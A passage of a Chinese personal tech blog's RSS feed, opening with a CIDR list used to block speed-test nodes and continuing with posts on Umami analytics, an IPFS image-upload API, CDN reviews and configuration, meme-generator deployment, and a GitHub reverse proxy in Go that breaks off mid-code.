116.153.84.0/23
|
||
116.162.152.0/23
|
||
116.169.184.0/24
|
||
116.172.74.0/24
|
||
116.177.240.0/24
|
||
116.178.78.0/24
|
||
116.196.152.0/23
|
||
116.207.184.0/24
|
||
116.253.60.0/24
|
||
117.139.140.0/24
|
||
117.147.229.0/24
|
||
117.147.230.0/23
|
||
117.161.38.0/24
|
||
117.161.86.0/24
|
||
117.162.50.0/23
|
||
117.162.61.0/24
|
||
117.163.59.0/24
|
||
117.187.145.0/24
|
||
117.40.82.0/24
|
||
117.44.77.0/24
|
||
117.69.71.0/24
|
||
117.85.64.0/23
|
||
117.85.66.0/24
|
||
119.188.140.0/24
|
||
119.188.209.0/24
|
||
119.36.225.0/24
|
||
119.84.242.0/24
|
||
119.91.175.0/24
|
||
120.221.164.0/24
|
||
120.221.181.0/24
|
||
120.221.238.0/24
|
||
120.226.27.0/24
|
||
120.232.126.0/24
|
||
120.232.97.0/24
|
||
120.233.185.0/24
|
||
120.233.186.0/23
|
||
120.233.43.0/24
|
||
120.240.100.0/24
|
||
120.240.94.0/24
|
||
122.192.132.0/24
|
||
122.246.0.0/24
|
||
122.246.30.0/23
|
||
123.125.3.0/24
|
||
123.138.25.0/24
|
||
123.172.121.0/24
|
||
123.182.162.0/24
|
||
123.6.40.0/24
|
||
124.225.117.0/24
|
||
124.225.161.0/24
|
||
124.225.72.0/24
|
||
124.238.112.0/24
|
||
124.72.128.0/24
|
||
125.76.83.0/24
|
||
125.94.247.0/24
|
||
125.94.248.0/23
|
||
14.116.174.0/24
|
||
14.205.93.0/24
|
||
150.139.230.0/24
|
||
175.43.193.0/24
|
||
175.6.193.0/24
|
||
182.140.210.0/24
|
||
182.247.248.0/24
|
||
183.131.59.0/24
|
||
183.136.219.0/24
|
||
183.192.184.0/24
|
||
183.201.109.0/24
|
||
183.201.110.0/24
|
||
183.230.68.0/24
|
||
183.253.58.0/24
|
||
183.255.104.0/24
|
||
183.47.119.128/25
|
||
183.61.174.0/24
|
||
211.136.106.0/24
|
||
211.97.84.0/24
|
||
219.144.88.0/23
|
||
219.144.90.0/24
|
||
220.197.201.0/24
|
||
221.204.26.0/23
|
||
221.5.96.0/23
|
||
222.189.172.0/24
|
||
222.79.116.0/23
|
||
222.79.126.0/24
|
||
222.94.224.0/23
|
||
223.109.0.0/23
|
||
223.109.2.0/24
|
||
223.109.210.0/24
|
||
223.113.137.0/24
|
||
223.221.177.0/24
|
||
223.247.117.0/24
|
||
27.44.206.0/24
|
||
36.131.221.0/24
|
||
36.142.6.0/24
|
||
36.147.58.0/23
|
||
36.150.103.0/24
|
||
36.150.72.0/24
|
||
36.158.202.0/24
|
||
36.158.253.0/24
|
||
36.159.70.0/24
|
||
36.189.11.0/24
|
||
36.248.57.0/24
|
||
36.249.64.0/24
|
||
36.250.235.0/24
|
||
36.250.238.0/24
|
||
36.250.5.0/24
|
||
36.250.8.0/24
|
||
39.173.183.0/24
|
||
42.177.83.0/24
|
||
42.202.164.0/24
|
||
42.202.170.0/24
|
||
43.136.126.0/24
|
||
43.137.230.0/23
|
||
43.137.87.0/24
|
||
43.137.88.0/22
|
||
43.138.125.0/24
|
||
43.141.10.0/23
|
||
43.141.109.0/24
|
||
43.141.110.0/24
|
||
43.141.131.0/24
|
||
43.141.132.0/24
|
||
43.141.49.0/24
|
||
43.141.50.0/24
|
||
43.141.52.0/24
|
||
43.141.68.0/23
|
||
43.141.70.0/24
|
||
43.141.9.0/24
|
||
43.141.99.0/24
|
||
43.142.196.0/24
|
||
43.142.205.0/24
|
||
43.145.16.0/22
|
||
43.145.44.0/23
|
||
49.119.123.0/24
|
||
49.7.250.128/25
|
||
58.144.195.0/24
|
||
58.212.47.0/24
|
||
58.217.176.0/22
|
||
58.222.36.0/24
|
||
58.250.127.0/24
|
||
58.251.127.0/24
|
||
58.251.87.0/24
|
||
59.55.137.0/24
|
||
59.83.206.0/24
|
||
60.28.220.0/24
|
||
61.161.0.0/24
|
||
61.170.82.0/24
|
||
61.240.216.0/24
|
||
61.240.220.0/24
|
||
61.241.148.0/24
|
||
61.49.23.0/24
|
||
81.71.192.0/23
|
||
101.33.0.0/19
|
||
162.14.40.0/21
|
||
43.132.64.0/19
|
||
43.152.0.0/18
|
||
43.152.128.0/18
|
||
43.159.64.0/18
|
||
107.155.58.0/24
|
||
110.238.81.0/24
|
||
110.238.84.0/24
|
||
116.103.105.0/24
|
||
116.103.106.0/24
|
||
116.206.195.0/24
|
||
119.160.60.0/24
|
||
128.1.102.0/24
|
||
128.1.106.0/24
|
||
128.14.246.0/24
|
||
129.227.189.0/24
|
||
129.227.213.0/24
|
||
129.227.246.0/24
|
||
13.244.60.0/24
|
||
13.246.171.0/24
|
||
13.246.201.0/24
|
||
15.220.184.0/24
|
||
15.220.187.0/24
|
||
150.109.190.0/23
|
||
150.109.192.0/24
|
||
150.109.222.0/23
|
||
154.223.40.0/24
|
||
156.227.203.0/24
|
||
156.229.29.0/24
|
||
156.240.62.0/24
|
||
156.251.71.0/24
|
||
158.79.1.0/24
|
||
161.49.44.0/24
|
||
171.244.192.0/23
|
||
175.97.130.0/23
|
||
175.97.175.0/24
|
||
181.78.96.0/24
|
||
203.205.136.0/23
|
||
203.205.191.0/24
|
||
203.205.193.0/24
|
||
203.205.220.0/23
|
||
203.96.243.0/24
|
||
211.152.128.0/23
|
||
211.152.132.0/23
|
||
211.152.148.0/23
|
||
211.152.154.0/23
|
||
23.236.104.0/24
|
||
23.236.99.0/24
|
||
3.105.21.0/24
|
||
3.24.201.0/24
|
||
31.171.99.0/24
|
||
38.52.124.0/24
|
||
38.60.181.0/24
|
||
42.115.108.0/24
|
||
43.155.126.0/24
|
||
43.155.149.0/24
|
||
43.174.0.0/15
|
||
49.51.64.0/24
|
||
54.94.99.0/24
|
||
62.201.197.0/24
|
||
63.32.163.0/24
|
||
72.255.2.0/24
|
||
81.21.9.0/24
|
||
84.54.102.0/24
|
||
86.51.92.0/24
|
||
</code></pre>
|
||
<h1>调用脚本更新规则</h1>
|
||
<p><img src="https://blog.acofork.com/_astro/3b44fed2-5dda-4dec-a009-8618b18370ee.CTdGpfUa.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/c9fa44c0-c313-47b1-8b03-804b2b4324b9.Crmx_Jt6.webp" alt="" /></p>
|
||
<p>最后 <code>Review Changes</code> 并且 <code>Publish</code> 即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/aada66d2-b090-4959-b031-cbdb738def50.CxqVNmex.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/831bf953-5895-4a62-894c-ab8b24dc8697.BATha-WF.webp" alt="" /></p>
|
||
<h1>ITDog测试</h1>
|
||
<p>大部分测试节点已经403</p>
|
||
<p><img src="https://blog.acofork.com/_astro/127a5bc0-6504-4c98-a573-1e3da60b9c8e.DMJ78-63.webp" alt="" /></p>
|
||
<h1>有什么用?</h1>
|
||
<p>纯好玩 纯闲着没事干 汐汐 有空点下<a href="https://www.afo.im/posts/pin">这</a>来加群或者下方评论吧!</p>
|
||
</content:encoded></item><item><title>让你的网站对接高级的Umami统计!</title><link>https://blog.acofork.com/posts/umami/</link><guid isPermaLink="true">https://blog.acofork.com/posts/umami/</guid><description>Umami是一个站点统计服务,只需要插入一行js即可获得高效,易读,可观察性的站点统计!</description><pubDate>Sun, 06 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>本教程针对于Umami Cloud的上手使用,如果你需要自托管Umami请自行寻找相关文档</p>
|
||
</blockquote>
|
||
<p>进入 https://umami.is/ (如果进不去请检查是否有广告拦截器拦截了Umami!!!)</p>
|
||
<p>点击右上角的 <code>Sign UP</code> 注册账号</p>
|
||
<p><img src="https://blog.acofork.com/_astro/3486d3c9-ab00-46d2-b8bf-4916fe8045bf.B1laX9zI.webp" alt="" /></p>
|
||
<p>按需填写相关信息进行注册</p>
|
||
<p><img src="https://blog.acofork.com/_astro/adcb3e73-bd1d-4c6d-9ad2-c6ba2b17441d.DAAx_jtx.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/f6ff9d8a-e281-4f36-a917-686264479a5d.Jj04mmyO.webp" alt="" /></p>
|
||
<p>然后检查你的邮箱,是否收到了Umami的邮箱验证消息</p>
|
||
<p><img src="https://blog.acofork.com/_astro/50877413-0dcf-4229-b388-dc0ae4634414.DhX_5Lwx.webp" alt="" /></p>
|
||
<p>点击 <code>Login</code> 进行登录,填入验证码</p>
|
||
<p><img src="https://blog.acofork.com/_astro/29321cee-f0a7-4d3b-9d1b-b507d34d3958.DvrM19Uk.webp" alt="" /></p>
|
||
<p>区域选择任意(选美国你的统计数据就记录在美国的服务器,选欧盟你的统计数据就记录在欧盟的服务器)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e7d5daaa-032a-4587-bd68-3d4194e88555.eZ3okjoS.webp" alt="" /></p>
|
||
<p>用户配置随便填写即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b22a2c6b-43a0-4da8-b7f7-25b58f9118e7.CXnbuhc3.webp" alt="" /></p>
|
||
<p>继续填写你要统计的网站</p>
|
||
<p><img src="https://blog.acofork.com/_astro/bf3b74be-26d7-4618-8b22-72cab03ec22f.DnnajDiJ.webp" alt="" /></p>
|
||
<p>将跟踪代码插入到你的网站的 <code>&lt;head&gt;Umami跟踪代码&lt;/head&gt;</code> 中</p>
|
||
<p><img src="https://blog.acofork.com/_astro/e58f4825-573c-4faf-8619-79c5eb194abe.sn5PUscY.webp" alt="" /></p>
|
||
<p>然后我们就进入Umami控制台了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/6318e324-5a2a-47c8-8ab9-982131f2eb5b.ZPGF5hdi.webp" alt="" /></p>
|
||
<p>点击 <code>View</code> 就能看到你的网站统计啦</p>
|
||
<p><img src="https://blog.acofork.com/_astro/8ab369ca-767e-4783-a38f-35f8ae59c654.CO7GGrFt.webp" alt="" /></p>
|
||
<p>注:右上角可以改为中文</p>
|
||
<p><img src="https://blog.acofork.com/_astro/9f32167c-d522-41a2-805b-202a97e91dfe.P0BIVe3M.webp" alt="" /></p>
|
||
<p>建议打开设置启用分享URL,这样你的用户就可以实时看到你的站点流量啦</p>
|
||
<p><img src="https://blog.acofork.com/_astro/21681684-8a26-4d15-8d3e-c51183febaf0.DTQKuXcE.webp" alt="" /></p>
|
||
<h1>注意事项</h1>
|
||
<p>Umami Cloud对于免费用户限制3个站点</p>
|
||
<p>免费版月事件数为10w,本人博客感觉不够用,已经自建了,教程可以看我b站,没有就是没发 <s>来拷打我</s></p>
|
||
<p><img src="https://blog.acofork.com/_astro/d574dbd5-f095-469a-9db6-da7fdfdc08c2.BDLlEBtI.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>分享一个IPFS图片API</title><link>https://blog.acofork.com/posts/ipfs-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ipfs-api/</guid><description>很早前我就用过xLog,这次逆向出了它的图床API,可以用来暂时存放图片!</description><pubDate>Fri, 04 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<blockquote>
|
||
<p>该API为<a href="https://xlog.app">xLog</a>的图床API</p>
|
||
</blockquote>
|
||
<p>POST https://ipfs-relay.crossbell.io/upload</p>
|
||
<p>头无鉴权</p>
|
||
<p>body使用 <code>from-data</code> ,key为 <code>file</code> vlaue选择一个图片文件,不宜太大,会报错</p>
|
||
<p>示例Curl</p>
|
||
<pre><code>curl --location 'https://ipfs-relay.crossbell.io/upload' \
|
||
--form 'file=@"/C:/Users/AcoFork/Pictures/b_53bb4f7fa91d684e72b666504e3fcc1897.jpg"'
|
||
</code></pre>
|
||
<p>会返回</p>
|
||
<pre><code>{
|
||
"status": "ok",
|
||
"cid": "QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc",
|
||
"url": "ipfs://QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc",
|
||
"web2url": "https://ipfs.crossbell.io/ipfs/QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc",
|
||
"fileSize": "77199",
|
||
"gnfd_id": null,
|
||
"gnfd_txn": null
|
||
}
|
||
</code></pre>
|
||
<p>其中, <code>web2url</code> 就是可以直接访问的URL,无CORS限制</p>
|
||
<p><img src="https://eo-r2.2x.nz/myblog/img/Qmb7hj9NHf9XdSZQ2dsqcSUpdrTuhjbpKJsTqG84X7rFqw.png" alt="" /></p>
|
||
</content:encoded></item><item><title>测评一下SecBit MCDN HK区域的质量</title><link>https://blog.acofork.com/posts/secbit/</link><guid isPermaLink="true">https://blog.acofork.com/posts/secbit/</guid><description>在我哥们的帮助下也是成功通过我的博客拿到了Secbit的免费MCDN服务,再见EdgeOne(</description><pubDate>Wed, 02 Jul 2025 00:00:00 GMT</pubDate><content:encoded><h1>官网</h1>
|
||
<p>https://secbit.ai</p>
|
||
<h1>测试节点信息</h1>
|
||
<p>安徽合肥移动家宽(本人电脑)</p>
|
||
<h1>PostMan GET测试</h1>
|
||
<p>测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到</p>
|
||
<h2>直连Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/5eaa947d-9363-4eac-b375-0c3830614571.CRIMXK-E.webp" alt="" /></p>
|
||
<h2>Secbit回源Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/e1986e03-7b69-467a-92f0-cea88c118924.BnimZAMH.webp" alt="" /></p>
|
||
<h1>ITDog Tcping测试</h1>
|
||
<h2>直连Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/6c8efb56-4fe8-44d5-82e2-45ca063014b1.ClplzbTb.webp" alt="" /></p>
|
||
<h2>Secbit回源Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/a4654458-3b03-4ec3-9cfc-9d94615abaf9.OTZWESed.webp" alt="" /></p>
|
||
<h1>ITDog 网站测速</h1>
|
||
<h2>直连Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/2bb7aee3-9ae7-48e8-bef7-37dbe0c8818c.BVOhSb89.webp" alt="" /></p>
|
||
<h2>Secbit回源Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/1a9a1ce4-720f-48dc-8fb7-8a9822caed68.BYBCMkWg.webp" alt="" /></p>
|
||
<h1>大文件下载</h1>
|
||
<h2>直连Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/6887e3eb-59cf-41ce-bda4-31b0ffc87c5a.DEteknDb.webp" alt="" /></p>
|
||
<h2>Secbit回源Cloudflare R2</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/3328a47b-417a-4ba0-b3b8-5013c1ef89bf.Ct26orHj.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>总结</h1>
|
||
<p>Secbit相较于Cloudflare对于大陆直连更为友好,延迟更低、带宽更大。唯一的缺点就是直接买很贵,也建议大家可以多多写博客,<strong>网站月ip达到3k可以看置顶文章加群联系我帮你申请</strong>,争取早日拿到属于你们的Secbit😋</p>
|
||
</content:encoded></item><item><title>meme-generator部署指南以及对接Koishi</title><link>https://blog.acofork.com/posts/meme-api/</link><guid isPermaLink="true">https://blog.acofork.com/posts/meme-api/</guid><description>很早之前我就很好奇那些用群友的头像做的表情包真的是人工p的吗,实则不然!</description><pubDate>Mon, 30 Jun 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>视频教程: https://www.bilibili.com/video/BV1i53PzUEzE/</p>
|
||
<h2>后端部署</h2>
|
||
<blockquote>
|
||
<p>Github: https://github.com/MemeCrafters/meme-generator</p>
|
||
</blockquote>
|
||
<p>安装依赖</p>
|
||
<pre><code>pip install -U "meme_generator&lt;0.2.0"
|
||
</code></pre>
|
||
<p>克隆仓库</p>
|
||
<pre><code>git clone https://github.com/MemeCrafters/meme-generator
|
||
</code></pre>
|
||
<p>克隆额外表情仓库</p>
|
||
<pre><code>git clone https://github.com/MemeCrafters/meme-generator-contrib
|
||
git clone https://github.com/anyliew/meme_emoji
|
||
</code></pre>
|
||
<p>前往 <code>~/.config/meme_generator/config.toml</code> 填入配置文件。并且填入刚刚克隆的额外表情仓库: <code>meme_dirs</code></p>
|
||
<pre><code>[meme]
|
||
load_builtin_memes = true # 是否加载内置表情包
|
||
meme_dirs = ["/root/meme-api/meme-generator-contrib/memes", "/root/meme-api/meme_emoji/emoji"] # 加载其他位置的表情包,填写文件夹路径
|
||
meme_disabled_list = [] # 禁用的表情包列表,填写表情的 `key`
|
||
|
||
[resource]
|
||
# 下载内置表情包图片时的资源链接,下载时选择最快的站点
|
||
resource_urls = [
|
||
"https://raw.githubusercontent.com/MemeCrafters/meme-generator/",
|
||
"https://mirror.ghproxy.com/https://raw.githubusercontent.com/MemeCrafters/meme-generator/",
|
||
"https://cdn.jsdelivr.net/gh/MemeCrafters/meme-generator@",
|
||
"https://fastly.jsdelivr.net/gh/MemeCrafters/meme-generator@",
|
||
"https://raw.gitmirror.com/MemeCrafters/meme-generator/",
|
||
]
|
||
|
||
[gif]
|
||
gif_max_size = 10.0 # 限制生成的 gif 文件大小,单位为 Mb
|
||
gif_max_frames = 100 # 限制生成的 gif 文件帧数
|
||
|
||
[translate]
|
||
baidu_trans_appid = "" # 百度翻译api相关,表情包 `dianzhongdian` 需要使用
|
||
baidu_trans_apikey = "" # 可在 百度翻译开放平台 (http://api.fanyi.baidu.com) 申请
|
||
|
||
[server]
|
||
host = "127.0.0.1" # web server 监听地址
|
||
port = 2233 # web server 端口
|
||
|
||
[log]
|
||
log_level = "INFO" # 日志等级
|
||
</code></pre>
|
||
<p>运行</p>
|
||
<pre><code>python -m meme_generator.app
|
||
</code></pre>
|
||
<p>看到以下日志即运行成功</p>
|
||
<pre><code>root@AcoFork-NAS:~/meme-api/meme-generator# python3 -m meme_generator.app
|
||
Fontconfig warning: "/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", line 6: unknown element "reset-dirs"
|
||
06-30 05:32:45 [INFO] meme_generator.log | Config file path: /root/.config/meme_generator/config.toml
|
||
06-30 05:32:48 [INFO] logging | Started server process [3363901]
|
||
06-30 05:32:48 [INFO] logging | Waiting for application startup.
|
||
06-30 05:32:48 [INFO] logging | Application startup complete.
|
||
06-30 05:32:48 [INFO] logging | Uvicorn running on http://127.0.0.1:2233 (Press CTRL+C to quit)
|
||
</code></pre>
|
||
<h2>前端对接</h2>
|
||
<p>Koishi插件市场安装此插件的1.0.3版本</p>
|
||
<p><img src="https://blog.acofork.com/_astro/47f3db05-48bf-4382-817b-7a2b733dcd72.BaFexaBj.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/3ffb0585-eb36-46fe-b32a-0162514e6e63.yQnWmfWR.webp" alt="" /></p>
|
||
<p>启用插件。可以看到 <code>插件初始化完毕,共载入 455 个表情。</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/50da2a0d-7e49-491a-bad3-d9fde22a9df6.QWPOtW1j.webp" alt="" /></p>
|
||
<h2>使用</h2>
|
||
<p>向Bot发送 <code>表情列表</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/ed053d82-535e-47af-ac17-b27025d25dab.DgKmoZHv.webp" alt="" /></p>
|
||
<p>生成表情</p>
|
||
<p><img src="https://blog.acofork.com/_astro/572c88c4-301b-4048-81bf-fcbb70d4064e.C692bi27.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>EdgeOne + Cloudflare,我们天下无敌!</title><link>https://blog.acofork.com/posts/eo-cf/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-cf/</guid><description>EdgeOne的低延迟+Cloudflare的强大业务!我都不敢想这有多爽!</description><pubDate>Fri, 27 Jun 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>主播也是搞到了EdgeOne免费版激活码了,终于可以大展宏图了😋</p>
|
||
<h1>我怎么换到EdgeOne免费版?</h1>
|
||
<p>前往 <a href="https://edgeone.ai/zh/redemption">腾讯云EdgeOne免费计划兑换码 - 立即体验</a></p>
|
||
<p>推荐直接发推,按照要求发</p>
|
||
<p>发完后私信EO官方即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/9ccbf7c1-6006-45f6-a9f4-e1979df8b12b.nUkOqU0Q.webp" alt="" /></p>
|
||
<h1>默认EdgeOne给的Anycast CNAME过于垃圾?</h1>
|
||
<p>默认在EO添加域名EO会发给你一个类似 <code>afo.im.eo.dnse4.com</code> 这样的CNAME</p>
|
||
<p>也就是 <code>你的域名.eo.dnse4.com</code></p>
|
||
<p>emm 这玩意吧 你们自己看速度吧</p>
|
||
<p><img src="https://blog.acofork.com/_astro/33a0b34f-d36f-4214-bcf3-616f9b174630.BbS0ASqQ.webp" alt="" /></p>
|
||
<p>我推荐大家使用 <code>43.174.150.150</code> 。是一个中国香港的三网优化IP。速度如下。<strong>本人EdgeOne优选:</strong> <code>eo.072103.xyz</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/ab4cfd6f-ef23-4670-8577-02850f372124.UWbQiH32.webp" alt="" /></p>
|
||
<h1>换了CNAME后无法自动申请免费SSL?</h1>
|
||
<p>如果你将你的域名托管给EO并且没有用EO给你的CNAME,则这个选项不可用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/d81050d7-5d58-4b80-92d9-bf1e07285544.DUGSYh4u.webp" alt="" /></p>
|
||
<p>我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台,就像这样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/59cf2a66-2717-4291-b027-6cd2f270ece4.HAGwpMLh.webp" alt="" /></p>
|
||
<h1>EdgeOne怎么做重定向?</h1>
|
||
<p>在这里</p>
|
||
<p><img src="https://blog.acofork.com/_astro/8f31d55f-4d0b-4209-935b-c2ec7924846c.DOs4fHbZ.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/5ca74214-b4d0-4ac1-9fab-06d3096a5f7e.C9mrZ1r2.webp" alt="" /></p>
|
||
<p>EO边缘函数也支持重定向,支持更细化的重定向规则</p>
|
||
<p>但是这玩意记录请求数,不如用Cloudflare的重定向规则</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2853531b-a57f-4b20-a8ec-98c0ca433604.Dr2xhxms.webp" alt="" /></p>
|
||
<p>首先我们在CF写这样一个规则
|
||
<img src="https://blog.acofork.com/_astro/ac9afee9-a368-4e10-a2a9-045e8672d636.DdTHXl7W.webp" alt="" /></p>
|
||
<p>然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN</p>
|
||
<p><img src="https://blog.acofork.com/_astro/08445fb0-892a-4793-a359-6cfc3194dbce.BHWoxpi9.webp" alt="" /></p>
|
||
<p>接着配置EO回源,这里一定要使用加速域名作为回源Host头</p>
|
||
<p><img src="https://blog.acofork.com/_astro/4911f0ca-86a0-42d3-90cf-ad2434f782ae.C25hk172.webp" alt="" /></p>
|
||
<p>原理:用户 - EO - CF - CF识别到Host匹配重定向规则 - 301</p>
|
||
<h1>EdgeOne反代一切?</h1>
|
||
<blockquote>
|
||
<p>大部分情况将 <code>回源HOST头</code> 改为源站就能解决反代后网站无法访问的问题</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-08-04-12-00-41-image.BGHvzKM1.png" alt="" /></p>
|
||
</blockquote>
|
||
</content:encoded></item><item><title>关于我折腾了一晚上 EdgeOne</title><link>https://blog.acofork.com/posts/edgeone/</link><guid isPermaLink="true">https://blog.acofork.com/posts/edgeone/</guid><description>本来对EdgeOne不感兴趣的,但是后来被引诱说没备案可以用国内节点,虽然好像当事者是开玩笑但是节点速度真的不错</description><pubDate>Sun, 22 Jun 2025 00:00:00 GMT</pubDate><content:encoded><h1>这是个啥?</h1>
|
||
<p>在我的<a href="/posts/static-web">早期文章</a>中提过EdgeOne,当时它还仅有Page业务,而且IP是很垃圾的新加坡,并且还会吞提交。故我当时给出了不如Cloudflare Page的评价</p>
|
||
<p>不过这玩意最近出了CDN业务,并且还是免费。所以我又重拾起来了</p>
|
||
<h1>我要怎么用上?</h1>
|
||
<p>浏览器访问: https://edgeone.ai 注册账号</p>
|
||
<p>或者看视频: https://www.bilibili.com/video/BV1KmNUzVEEL</p>
|
||
<h1>关于EdgeOne CDN - 网站安全加速</h1>
|
||
<blockquote>
|
||
<p>以下言论仅适用于<strong>未备案</strong>用户</p>
|
||
</blockquote>
|
||
<p>需要搞免费版兑换码。或者直接买个人版后可用,需要外币卡。</p>
|
||
<p>通过创建 <code>加速区域全球可用区(不含中国大陆)</code> 。会分配给你一个类似 <code>eo3-blog.afo.im.eo.dnse4.com</code> 这样的CNAME地址要求你做CNAME解析。IP很烂。<strong>可以直接做优选。</strong> 获取方式很简单,直接ITDOG PING <code>edgeone.ai</code> 找个最快的IP直接写A解析(貌似国内的也可以🤔),如图。<strong>本人EdgeOne优选:</strong> <code>eo.072103.xyz</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/42ff5956-d1db-4005-8d96-05fcf7eb76f0.GjrDRWUC.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/5e49847b-568e-44e3-97d1-737359d6d9d7.BJNFm33k.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/45abf772-9757-4172-984f-d9b5a01ae1de.DnKrS3_e.webp" alt="" /></p>
|
||
<p>因为这玩意是一个CDN,需要一个源站。如果你是静态站点可以用Cloudflare Page部署一个站,然后设置回源如下(注意回源Hosts头要填写源站域名,否则CF可能会报423 Locked <em>他妈的比腾讯云的418我是个茶壶规范多了😅</em>)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2bb58f42-4d8d-4429-a412-ff256b41087d.Djc2iYpy.webp" alt="" /></p>
|
||
<p>最后开启SSL,结束,享受它吧</p>
|
||
<p><img src="https://blog.acofork.com/_astro/3063dcd0-857d-4280-8ed2-21f4beddb69a.BWvKF6zE.webp" alt="" /></p>
|
||
<h1>关于EdgeOne Pages(新)</h1>
|
||
<p>不用花钱,注册账号后即可用</p>
|
||
<p>不管你的加速区域在哪,都建议绑定自己的域名,否则可能出现访问401。含中国大陆的区域需要域名备案</p>
|
||
<blockquote>
|
||
<p>以下言论仅适用于<strong>未备案</strong>用户</p>
|
||
</blockquote>
|
||
<p>通过创建 <code>加速区域全球可用区(不含中国大陆)</code> 。IP现在从新加坡Anycast改为了俩IP(如果按国内可用来算)43.175.44.57(中国香港。非移动延迟250ms+,移动延迟100ms-), 43.132.85.153(日本东京。三网200ms左右)。比起之前的新加坡平均300ms的神奇IP好了很多</p>
|
||
<p><strong>EdgeOne Pages无法优选</strong>。如果将EdgeOne Pages托管的域名指向非 <code>edgeone.app</code> 解析出的IP。会报418(比如EdgeOne CDN节点IP)</p>
|
||
<p>默认时延情况,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/fcf64bcf-7121-4952-b7e1-1aac7b7fe33d.DyzRpVkr.webp" alt="" /></p>
|
||
<blockquote>
|
||
<p>以下言论仅适用于<strong>备案</strong>用户</p>
|
||
</blockquote>
|
||
<p>默认延迟50ms以下(中国大陆)</p>
|
||
<p>优选不能将IP指向EdgeOne CDN节点的IP,否则报418。</p>
|
||
</content:encoded></item><item><title>在VPS上部署一个自己的Github全站反代!</title><link>https://blog.acofork.com/posts/go-proxy-gh/</link><guid isPermaLink="true">https://blog.acofork.com/posts/go-proxy-gh/</guid><description>利用Go作为后端,重写Github发送的HTML,并且创建多个反向代理,从0自建Github全站反代!</description><pubDate>Fri, 20 Jun 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>至今我仍在维护一个Github全站反代的服务,就是 https://gh.072103.xyz/afoim 。也跟大家谈过<a href="/posts/gh-proxy/">原理</a>。最近弄到了一个免费的VPS,就想着将Cloudflare Worker的反代移植到VPS上来</p>
|
||
<h1>正式开始</h1>
|
||
<p>VPS安装Golang运行时</p>
|
||
<pre><code>apt install golang
|
||
</code></pre>
|
||
<p>创建一个文件夹。放置 <code>main.go</code> 源码如下</p>
|
||
<pre><code>package main
|
||
|
||
import (
|
||
"fmt"
|
||
"io"
|
||
"log"
|
||
"net/http"
|
||
"net/url"
|
||
"regexp"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
// 域名映射配置
|
||
var domainMappings = map[string]string{
|
||
"github.com": "gh.",
|
||
"avatars.githubusercontent.com": "avatars-githubusercontent-com.",
|
||
"github.githubassets.com": "github-githubassets-com.",
|
||
"collector.github.com": "collector-github-com.",
|
||
"api.github.com": "api-github-com.",
|
||
"raw.githubusercontent.com": "raw-githubusercontent-com.",
|
||
"gist.githubusercontent.com": "gist-githubusercontent-com.",
|
||
"github.io": "github-io.",
|
||
"assets-cdn.github.com": "assets-cdn-github-com.",
|
||
"cdn.jsdelivr.net": "cdn.jsdelivr-net.",
|
||
"securitylab.github.com": "securitylab-github-com.",
|
||
"www.githubstatus.com": "www-githubstatus-com.",
|
||
"npmjs.com": "npmjs-com.",
|
||
"git-lfs.github.com": "git-lfs-github-com.",
|
||
"githubusercontent.com": "githubusercontent-com.",
|
||
"github.global.ssl.fastly.net": "github-global-ssl-fastly-net.",
|
||
"api.npms.io": "api-npms-io.",
|
||
"github.community": "github-community.",
|
||
}
|
||
|
||
// 需要重定向的路径
|
||
var redirectPaths = []string{"/", "/login", "/signup", "/copilot"}
|
||
|
||
// 检查路径是否需要重定向
|
||
func shouldRedirect(path string) bool {
|
||
for _, p := range redirectPaths {
|
||
if path == p {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
// 获取代理前缀
|
||
